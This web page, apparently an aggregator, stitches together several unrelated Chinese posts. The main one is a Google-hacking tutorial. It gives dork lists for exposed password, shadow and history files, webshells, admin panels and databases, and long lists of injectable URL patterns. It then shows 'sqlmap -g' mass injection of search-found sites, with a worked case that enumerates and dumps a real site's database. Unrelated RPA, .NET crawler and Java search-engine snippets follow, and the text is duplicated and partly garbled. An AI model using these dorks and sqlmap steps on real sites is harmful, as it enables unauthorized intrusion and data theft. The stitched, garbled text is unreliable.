inurl:index2.php?option=inurl:look.php?ID=inurl:detail.php?ID=
inurl:readnews.php?id=inurl:newsone.php?id=inurl:index.php?=
inurl:top10.php?cat=inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id=inurl:material.php?id=inurl:category.php?id=
inurl:event.php?id=inurl:opinions.php?id=inurl:publications.php?id=
inurl:product-item.php?id=inurl:announce.php?id=inurl:fellows.php?id=
inurl:sql.php?id=inurl:rub.php?idr=inurl:downloads_info.php?id=
inurl:index.php?catid=inurl:galeri_info.php?l=inurl:prod_info.php?id=
inurl:news.php?catid=inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id=inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id=inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id=inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id=inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category=inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID=inurl:art.php?idm=inurl:ray.php?id=
inurl:play_old.php?id=inurl:title.php?id=inurl:produit.php?id=
inurl:declaration_more.php?decl_id=inurl:news_view.php?id=inurl:pop.php?id=
inurl:pageid=inurl:select_biblio.php?id=inurl:shopping.php?id=
inurl:games.php?id=inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file=inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id=inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id=inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id=inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id=inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id=inurl:kategorie.php4?id=inurl:theme.php?id=
inurl:newsitem.php?num=inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id=inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat=inurl:faq2.php?id=inurl:tradeCategory.php?id=
inurl:historialeer.php?num=inurl:show_an.php?id=inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=inurl:preview.php?id=inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num=inurl:opinions.php?id=inurl:channel_id=
inurl:game.php?id=inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id=inurl:pages.php?id=inurl:preview.php?id=
inurl:newsone.php?id=inurl:announce.php?id=inurl:loadpsb.php?id=
inurl:sw_comment.php?id=inurl:clanek.php4?id=inurl:pages.php?id=
inurl:news.php?id=inurl:participant.php?id= about.php?cartID=
inurl:avd_start.php?avd=inurl:download.php?id= accinfo.php?cartId=
inurl:event.php?id=inurl:main.php?id= add-to-cart.php?ID=
inurl:product-item.php?id=inurl:review.php?id= addToCart.php?idProduct=
inurl:sql.php?id=inurl:chappies.php?id=addtomylist.php?ProdId=
inurl:material.php?id=inurl:read.php?id=
inurl:clanek.php4?id=inurl:prod_detail.php?id=
inurl:announce.php?id=inurl:viewphoto.php?id=
inurl:chappies.php?id=inurl:article.php?id=
inurl:read.php?id=inurl:person.php?id=
inurl:viewapp.php?id=inurl:productinfo.php?id=
inurl:viewphoto.php?id=inurl:showimg.php?id=
inurl:rub.php?idr=inurl:view.php?id=
inurl:galeri_info.php?l=inurl:website.php?id=
3.7.4實(shí)際測試案例
1.尋找可供注入點(diǎn)的目標網(wǎng)站
在kali下,使用“sqlmap -g inurl:details.php?id=”命令進(jìn)行g(shù)oogle搜索,如圖1所示,首先對第一個(gè)目標進(jìn)行測試,輸入“Y”進(jìn)行確認,也可以選擇q,不測試該目標,繼續測試后續的目標。
圖1對第一個(gè)url進(jìn)行sql注入測試
sqlmap如果第一個(gè)url獲取的注入不存在漏洞,則會(huì )尋找下一個(gè)url進(jìn)行注入,同時(shí)url計數為2,后續每一個(gè)注入計數加1,可以在參數后面增加--batch自動(dòng)提交判斷。
2.sql注入漏洞測試
如圖2所示,對該注入點(diǎn)進(jìn)行注入漏洞測試,該url一共存在四種類(lèi)型的sql注入,基于布爾盲注、出錯注入、基于時(shí)間盲注和聯(lián)合查詢(xún)注入。
圖2獲取四種類(lèi)型的sql注入
3.基本信息獲取
sqlmap支持多個(gè)參數并列獲取,如圖3所示,獲取當前數據庫、當前數據庫名稱(chēng)、數據庫用戶(hù),mysql用戶(hù)以及密碼等信息,有些字段需要有相對應的權限才能獲取,執行命令:
“sqlmap -u --dbs --current-db --current-user--users --passwords”,在本例中獲取數據庫用戶(hù)finvent2@localhost,當前數據庫為finvent_out。
圖3獲取基本信息
4.數據庫獲取
?。?)獲取當前數據庫下所有表
sqlmap -u -D finvent_out --tables
執行后,如圖4所示,獲取當前數據庫finvent_out中的16個(gè)表名。
圖4獲取所有表名
?。?)獲取當前用戶(hù)下的所有數據
sqlmap -u --dump-all//獲取所有數據庫
sqlmap -u -Dfinvent_out //僅僅獲取finvent_out數據庫的數據。
參考文章: 查看全部
sqlamp利用搜索引擎獲取目標地址進(jìn)行注入
隨著(zhù)近今年安全事件頻出,個(gè)人和公司安全意識大大提高,過(guò)去對一個(gè)站點(diǎn)隨便一試就存在sql注入漏洞的時(shí)光一去不返,但互聯(lián)網(wǎng)上千千萬(wàn)萬(wàn)公司,還有很多站點(diǎn)存在sql注入漏洞,好在sqlmap提供了google搜索注入,通過(guò)定義url值來(lái)進(jìn)行大批量的搜索,找到url后直接進(jìn)行測試,這個(gè)測試最關(guān)鍵的地方就是找到一個(gè)合適的定義名稱(chēng),也即搜索的文件名稱(chēng),本文主要介紹google黑客的一些語(yǔ)法和如何利用google進(jìn)行sqlmap注入目標的選定和測試。
3.7.1google黑客語(yǔ)法
目前世界上的搜索引擎主要有g(shù)oogle、百度等,搜索引擎最出名的應該是google,最好用的也是google,不過(guò)現在google被墻了(需要購買(mǎi)VPN或者通過(guò)sock5代理才能訪(fǎng)問(wèn)),google其強大的搜索功能,可以在瞬間找到想要的一切。對于普通的用戶(hù)而言,Google是一個(gè)強大的搜索引擎,但對于黑客而言,則可能是一款絕佳的黑客輔助工具,google每天不間斷的對世界上的網(wǎng)站進(jìn)行爬取,相當于一個(gè)巨型漏洞掃描器。因此黑客可以構造特殊的關(guān)鍵字語(yǔ)法,使用Google搜索關(guān)鍵字配置等信息。通過(guò)Google,黑客甚至可以在幾秒種內黑掉一個(gè)網(wǎng)站。這種利用Google搜索相關(guān)信息并進(jìn)行入侵的過(guò)程就叫做Google Hack。Google Hacking的含義原指利用Google搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為,現指利用各種搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為。
1.google基礎語(yǔ)法
Google 不分大小寫(xiě);Google 可以使用通配符“*”表示一個(gè)詞/字;Google 會(huì )智能地保留一些內容,比如一些過(guò)時(shí)的詞,一些不適合呈現的內容(比如違法信息);最常用的"關(guān)鍵字",雙引號會(huì )使Google強制搜索包含關(guān)鍵字的內容;布爾操作符AND(+)、NOT(-)、OR(|),AND現在已不需要,多個(gè)關(guān)鍵字google會(huì )都匹配到。
?。?)inurl——搜索包含有特定字符的URL
inurl:admin/manager 則可以找到帶有admin/manager字符的URL,通常這類(lèi)網(wǎng)址是管理員后臺的登錄網(wǎng)址,其它后臺地址名稱(chēng)還有:
admin
admin_index
admin_admin
index_admin
admin/index
admin/default
admin/manage
admin/login
manage_index
index_manage
manager/login
manager/login.asp
manager/admin.asp
login/admin/admin.asp
houtai/admin.asp
guanli/admin.asp
denglu/admin.asp
admin_login/admin.asp
admin_login/login.asp
admin/manage/admin.asp
admin/manage/login.asp
admin/default/admin.asp
admin/default/login.asp
member/admin.asp
member/login.asp
administrator/admin.asp
administrator/login.asp
?。?)intext(allintext)——搜索網(wǎng)頁(yè)正文內容中的指定字符
intext(allintext):網(wǎng)頁(yè)內容查找關(guān)鍵字,例如輸入“intext:百度”,這會(huì )查找包含百度關(guān)鍵字的網(wǎng)頁(yè)。
?。?)site——限制顯示某個(gè)域名的所有頁(yè)面
site: 則僅僅顯示域名,同時(shí)還可以使用“-”進(jìn)行排除。
?。?)filetype——對目標進(jìn)行某些文件類(lèi)型檢索
filetype后跟文件類(lèi)型,目前常見(jiàn)的類(lèi)型有doc、xml、rar、docx、inc、mdb、txt
、email、xls、.sql、inc、conf、txtf、xml、pdf、zip、tar.gz、xlsl等。
例如搜索doc文檔,則在搜索輸入框中鍵入:filetype:doc,這種方法主要是搜索某目標網(wǎng)站的一些通過(guò)google爬蟲(chóng)爬取的信息。filetype后跟腳本語(yǔ)言后綴,例如搜索asp腳本:filetype:asp,其它類(lèi)型類(lèi)似,主要有jsp、php、aspx、cfm等,可以?xún)H僅查看這些腳本的url。
?。?)intitle——限制搜索的網(wǎng)頁(yè)標題頁(yè)面
搜索網(wǎng)頁(yè)標題中包含有特定字符的網(wǎng)頁(yè),allintitle: 搜索所有關(guān)鍵字構成標題的網(wǎng)頁(yè).(allintite:關(guān)鍵字或者url地址)
?。?)link——將顯示跟指定網(wǎng)頁(yè)的所有鏈接的網(wǎng)頁(yè)
?。?)cache——將顯示在Google cache中的網(wǎng)頁(yè)
?。?)info——查找指定站點(diǎn)的一些基本信息
2.操作符說(shuō)明
在google中共有“+”、“-”、“~”、“.”、“*”、“""”等操作符,其中“+“表示將可能忽略的字列入查詢(xún)范圍,“-”把某個(gè)關(guān)鍵字忽略,“~”同意詞、“.”單一的通配符,“*”通配符,可代表多個(gè)字母;“""”精確查詢(xún)。
3.google黑客的一些應用
?。?)搜索敏感信息泄露
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" admin
inurl:service.pwd
intitle:phpmyadmin intext:Create newdatabase//搜索phpmyadmin直接進(jìn)入后臺
intitle:"php shell*" "Enablestderr" filetype:php//批量搜索webshell
intitle:"index of" data//列出data目錄
intilte:"error occurred" ODBCrequest where (select|insert)//搜索sql注入出錯頁(yè)面
intitle:index.of filetype:log//搜索日志文件
?。?)查找管理后臺
intitle:管理
intitle:登錄
intitle:后臺
intitel:"后臺登錄"
?。?)查找警告錯誤信息
intile:error
intitle:warning
0x004 inurl的用法
?。?)查找數據庫和配置文件
inurl:editor/db/
inurl:eWebEditor/db/
inurl:bbs/data/
inurl:databackup/
inurl:blog/data/
inurl:okedata
inurl:bbs/database/
inurl:conn.asp
inurl:inc/conn.asp
inurl:"viewerframe?mode="//搜索攝像頭地址
inurl:db
inurl:mdb
inurl:config.txt
inurl:bash_history
inurl:data filetype:mdb//搜索mdb格式數據庫
?。?)搜索備份文件
inurl:temp
inurl:tmp
inurl:backup
inurl:bak
?。?)inurl中查找注入點(diǎn)
site: filetype:asp
site:tw inurl:asp?id=//這個(gè)是找臺灣的
site:jp inurl:php?id=// 這個(gè)是找日本的
site:ko inurl:jsp?id=// 這個(gè)是找韓國的
?。?)目標遍歷漏洞
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
“inde xof/ inurl:lib
3.7.2google黑客入侵方法及思路
1.獲取主域名下的所有其他子域名或者頁(yè)面信息
site:
2.找各個(gè)子域名的管理后臺
site:intitle:管理或者后臺或者登陸等關(guān)鍵字
site: inurl:login或者inurl:admin可以跟常用的后臺路徑
site: intext:管理或者后臺或者登陸等關(guān)鍵字
3.查找各子域名腳本文件
site: filetype:jsp
site: filetype:aspx
site: filetype:php
site: filetype:asp
可以窮盡化對各個(gè)子域名的腳本文件頁(yè)面。
4.查找上傳路徑地址
site: inurl:file
site: inurl:load
site: inurl:file
5.收集email郵箱等敏感信息
6.對存在腳本頁(yè)面及傳入參數進(jìn)行sql注入測試
7.對收集到的域名進(jìn)行漏洞掃描
3.7.3sqlmap利用搜索引擎進(jìn)行注入命令參數
sqlmap中提供了google進(jìn)行批量獲取注入的命令,通過(guò)該命令可以批量獲取url,對存在其中的url進(jìn)行注入測試。
1.命令參數
sqlmap.py -g inurl:asp?id=
sqlmap.py -g inurl:aspx?id=
sqlmap.py -g inurl:php?id=
sqlmap.py -g inurl:jsp?id=
2.可以使用--batch進(jìn)行自動(dòng)判斷和注入
注意:
?。?)國內用戶(hù)無(wú)法翻墻進(jìn)行注入測試,測試時(shí)必須使用代理或者vpn。
?。?)在kali中sqlmap命令為sqlmap -g
3.其它命令跟sqlmap進(jìn)行sql注入類(lèi)似
4.技巧
在定義inurl:asp?id=中指定具體的文件名稱(chēng),這個(gè)名稱(chēng)越不大眾化,越容易找出漏洞來(lái)。
5.常見(jiàn)的一些注入點(diǎn)搜索關(guān)鍵字
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in=inurl:gallery.php?id=
inurl:trainers.php?id=inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id=inurl:labels.php?id=inurl:view_faq.php?id=
inurl:news_display.php?getid=inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option=inurl:look.php?ID=inurl:detail.php?ID=
inurl:readnews.php?id=inurl:newsone.php?id=inurl:index.php?=
inurl:top10.php?cat=inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id=inurl:material.php?id=inurl:category.php?id=
inurl:event.php?id=inurl:opinions.php?id=inurl:publications.php?id=
inurl:product-item.php?id=inurl:announce.php?id=inurl:fellows.php?id=
inurl:sql.php?id=inurl:rub.php?idr=inurl:downloads_info.php?id=
inurl:index.php?catid=inurl:galeri_info.php?l=inurl:prod_info.php?id=
inurl:news.php?catid=inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id=inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id=inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id=inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id=inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category=inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID=inurl:art.php?idm=inurl:ray.php?id=
inurl:play_old.php?id=inurl:title.php?id=inurl:produit.php?id=
inurl:declaration_more.php?decl_id=inurl:news_view.php?id=inurl:pop.php?id=
inurl:pageid=inurl:select_biblio.php?id=inurl:shopping.php?id=
inurl:games.php?id=inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file=inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id=inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id=inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id=inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id=inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id=inurl:kategorie.php4?id=inurl:theme.php?id=
inurl:newsitem.php?num=inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id=inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat=inurl:faq2.php?id=inurl:tradeCategory.php?id=
inurl:historialeer.php?num=inurl:show_an.php?id=inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=inurl:preview.php?id=inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num=inurl:opinions.php?id=inurl:channel_id=
inurl:game.php?id=inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id=inurl:pages.php?id=inurl:preview.php?id=
inurl:newsone.php?id=inurl:announce.php?id=inurl:loadpsb.php?id=
inurl:sw_comment.php?id=inurl:clanek.php4?id=inurl:pages.php?id=
inurl:news.php?id=inurl:participant.php?id= about.php?cartID=
inurl:avd_start.php?avd=inurl:download.php?id= accinfo.php?cartId=
inurl:event.php?id=inurl:main.php?id= add-to-cart.php?ID=
inurl:product-item.php?id=inurl:review.php?id= addToCart.php?idProduct=
inurl:sql.php?id=inurl:chappies.php?id=addtomylist.php?ProdId=
inurl:material.php?id=inurl:read.php?id=
inurl:clanek.php4?id=inurl:prod_detail.php?id=
inurl:announce.php?id=inurl:viewphoto.php?id=
inurl:chappies.php?id=inurl:article.php?id=
inurl:read.php?id=inurl:person.php?id=
inurl:viewapp.php?id=inurl:productinfo.php?id=
inurl:viewphoto.php?id=inurl:showimg.php?id=
inurl:rub.php?idr=inurl:view.php?id=
inurl:galeri_info.php?l=inurl:website.php?id=
3.7.4實(shí)際測試案例
1.尋找可供注入點(diǎn)的目標網(wǎng)站
在kali下,使用“sqlmap -g inurl:details.php?id=”命令進(jìn)行g(shù)oogle搜索,如圖1所示,首先對第一個(gè)目標進(jìn)行測試,輸入“Y”進(jìn)行確認,也可以選擇q,不測試該目標,繼續測試后續的目標。
圖1對第一個(gè)url進(jìn)行sql注入測試
sqlmap如果第一個(gè)url獲取的注入不存在漏洞,則會(huì )尋找下一個(gè)url進(jìn)行注入,同時(shí)url計數為2,后續每一個(gè)注入計數加1,可以在參數后面增加--batch自動(dòng)提交判斷。
2.sql注入漏洞測試
如圖2所示,對該注入點(diǎn)進(jìn)行注入漏洞測試,該url一共存在四種類(lèi)型的sql注入,基于布爾盲注、出錯注入、基于時(shí)間盲注和聯(lián)合查詢(xún)注入。
圖2獲取四種類(lèi)型的sql注入
3.基本信息獲取
sqlmap支持多個(gè)參數并列獲取,如圖3所示,獲取當前數據庫、當前數據庫名稱(chēng)、數據庫用戶(hù),mysql用戶(hù)以及密碼等信息,有些字段需要有相對應的權限才能獲取,執行命令:
“sqlmap -u --dbs --current-db --current-user--users --passwords”,在本例中獲取數據庫用戶(hù)finvent2@localhost,當前數據庫為finvent_out。
圖3獲取基本信息
4.數據庫獲取
?。?)獲取當前數據庫下所有表
sqlmap -u -D finvent_out --tables
執行后,如圖4所示,獲取當前數據庫finvent_out中的16個(gè)表名。
圖4獲取所有表名
?。?)獲取當前用戶(hù)下的所有數據
sqlmap -u --dump-all//獲取所有數據庫
sqlmap -u -Dfinvent_out //僅僅獲取finvent_out數據庫的數據。
參考文章:
RPA經(jīng)典案例|第57課:點(diǎn)擊網(wǎng)頁(yè)指定內容目標項
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 60 次瀏覽 ? 2022-06-14 11:05
每日10分鐘小視頻,掌握一項小技能。
▼課程主題:本節課講解典型案例:點(diǎn)擊指定文本列表項。
▼所需命令:獲取元素文本、計次循環(huán)、點(diǎn)擊目標、數據抓取、獲取數組長(cháng)度、查找字符串。
▼課程視頻:
▼下期預告:Excel擴展命令。
查看全部
RPA經(jīng)典案例|第57課:點(diǎn)擊網(wǎng)頁(yè)指定內容目標項
每日10分鐘小視頻,掌握一項小技能。
▼課程主題:本節課講解典型案例:點(diǎn)擊指定文本列表項。
▼所需命令:獲取元素文本、計次循環(huán)、點(diǎn)擊目標、數據抓取、獲取數組長(cháng)度、查找字符串。
▼課程視頻:
▼下期預告:Excel擴展命令。
.NET Core實(shí)踐爬蟲(chóng)系統:解析網(wǎng)頁(yè)內容
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 160 次瀏覽 ? 2022-06-06 20:24
///
public long View { get; set; }
///
///明細
///
public string Detail { get; set; }
///
///作者
///
public string Author { get; set; }
///
/// 作者鏈接
///
public string AuthorUrl { get; set; }
}
然后根據網(wǎng)頁(yè)結構,查看XPath路徑,采集內容
///
/// 解析
///
///
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持從web或本地path加載html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("//div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("//div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("//a[@class='titlelnk']");
var summarynode post_item_bodynode.SelectSingleNode("//p[@class='post_item_summary']");
//foot
var footnode = item.SelectSingleNode("//div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = item.SelectSingleNode("//span[@class='article_comment']");
var viewnode = item.SelectSingleNode("//span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
查看采集結果
看到結果就驚呆了,竟然全是重復的。難道是Xpath語(yǔ)法理解不對么? 采集結果
重溫下XPath語(yǔ)法
XPath 使用路徑表達式在 XML 文檔中選取節點(diǎn)。節點(diǎn)是通過(guò)沿著(zhù)路徑或者 step 來(lái)選取的
XPath 通配符可用來(lái)選取未知的 XML 元素
我測試了幾個(gè)語(yǔ)法如:
//例1,會(huì )返回20個(gè)
var titlenodes = post_item_bodynode.SelectNodes("//a[@class='titlelnk']");
//會(huì )報錯,因為這個(gè)a并不直接在bodynode下面,而是在子級h3元素的子級。
var titlenodes = post_item_bodynode.SelectNodes("a[@class='titlelnk']");
然后又實(shí)驗了一種:
//Bingo,這個(gè)可以,但是強烈指定了下級h3,這就稍微麻煩了點(diǎn)。
var titlenodes = post_item_bodynode.SelectNodes("h3//a[@class='titlelnk']");
這里就引申出了一個(gè)小問(wèn)題:如何定位子級的子級?用通配符*可以么?
//返回1個(gè)。
var titlenodes= post_item_bodynode.SelectNodes("*//a[@class='titlelnk']")
能正確返回1,應該是可以了,我們改下代碼看下效果。
然后和博客園首頁(yè)數據對比,結果吻合。 所以我們可以得出結論:
改過(guò)后代碼如下:
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持從web或本地path加載html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
//Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("*//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("*//a[@class='titlelnk']");
var summarynode = post_item_bodynode.SelectSingleNode("p[@class='post_item_summary']");
//foot
var footnode = post_item_bodynode.SelectSingleNode("div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = footnode.SelectSingleNode("span[@class='article_comment']");
var viewnode = footnode.SelectSingleNode("span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
源碼
代碼已上傳至 GitHub:
總結
Demo到此結束,下篇繼續構思如何構建自定義規則,讓用戶(hù)可以在頁(yè)面自己填寫(xiě)規則去識別。
看完本文有收獲?請轉發(fā)分享給更多人
關(guān)注「DotNet」,提升.Net技能
查看全部
.NET Core實(shí)踐爬蟲(chóng)系統:解析網(wǎng)頁(yè)內容
///
public long View { get; set; }
///
///明細
///
public string Detail { get; set; }
///
///作者
///
public string Author { get; set; }
///
/// 作者鏈接
///
public string AuthorUrl { get; set; }
}
然后根據網(wǎng)頁(yè)結構,查看XPath路徑,采集內容
///
/// 解析
///
///
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持從web或本地path加載html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("//div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("//div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("//a[@class='titlelnk']");
var summarynode post_item_bodynode.SelectSingleNode("//p[@class='post_item_summary']");
//foot
var footnode = item.SelectSingleNode("//div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = item.SelectSingleNode("//span[@class='article_comment']");
var viewnode = item.SelectSingleNode("//span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
查看采集結果
看到結果就驚呆了,竟然全是重復的。難道是Xpath語(yǔ)法理解不對么? 采集結果
重溫下XPath語(yǔ)法
XPath 使用路徑表達式在 XML 文檔中選取節點(diǎn)。節點(diǎn)是通過(guò)沿著(zhù)路徑或者 step 來(lái)選取的
XPath 通配符可用來(lái)選取未知的 XML 元素
我測試了幾個(gè)語(yǔ)法如:
//例1,會(huì )返回20個(gè)
var titlenodes = post_item_bodynode.SelectNodes("//a[@class='titlelnk']");
//會(huì )報錯,因為這個(gè)a并不直接在bodynode下面,而是在子級h3元素的子級。
var titlenodes = post_item_bodynode.SelectNodes("a[@class='titlelnk']");
然后又實(shí)驗了一種:
//Bingo,這個(gè)可以,但是強烈指定了下級h3,這就稍微麻煩了點(diǎn)。
var titlenodes = post_item_bodynode.SelectNodes("h3//a[@class='titlelnk']");
這里就引申出了一個(gè)小問(wèn)題:如何定位子級的子級?用通配符*可以么?
//返回1個(gè)。
var titlenodes= post_item_bodynode.SelectNodes("*//a[@class='titlelnk']")
能正確返回1,應該是可以了,我們改下代碼看下效果。
然后和博客園首頁(yè)數據對比,結果吻合。 所以我們可以得出結論:
改過(guò)后代碼如下:
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持從web或本地path加載html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
//Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("*//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("*//a[@class='titlelnk']");
var summarynode = post_item_bodynode.SelectSingleNode("p[@class='post_item_summary']");
//foot
var footnode = post_item_bodynode.SelectSingleNode("div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = footnode.SelectSingleNode("span[@class='article_comment']");
var viewnode = footnode.SelectSingleNode("span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
源碼
代碼已上傳至 GitHub:
總結
Demo到此結束,下篇繼續構思如何構建自定義規則,讓用戶(hù)可以在頁(yè)面自己填寫(xiě)規則去識別。
看完本文有收獲?請轉發(fā)分享給更多人
關(guān)注「DotNet」,提升.Net技能
編寫(xiě)一個(gè)Java站內搜索引擎系統
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 41 次瀏覽 ? 2022-06-06 17:16
如果用我們的小服務(wù)器去搞百度,搜狗那種引擎肯定是不行的,那些屬于全網(wǎng)搜索,我們這里做一個(gè)站內搜索。類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
一、搜索引擎怎么搜索
搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜,就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè),然后通過(guò)爬取之后建立索引,以供于我們去搜索。建議大家別爬蟲(chóng)要不然被告了。
這里我們可以使用Python,或者下載文檔壓縮包。
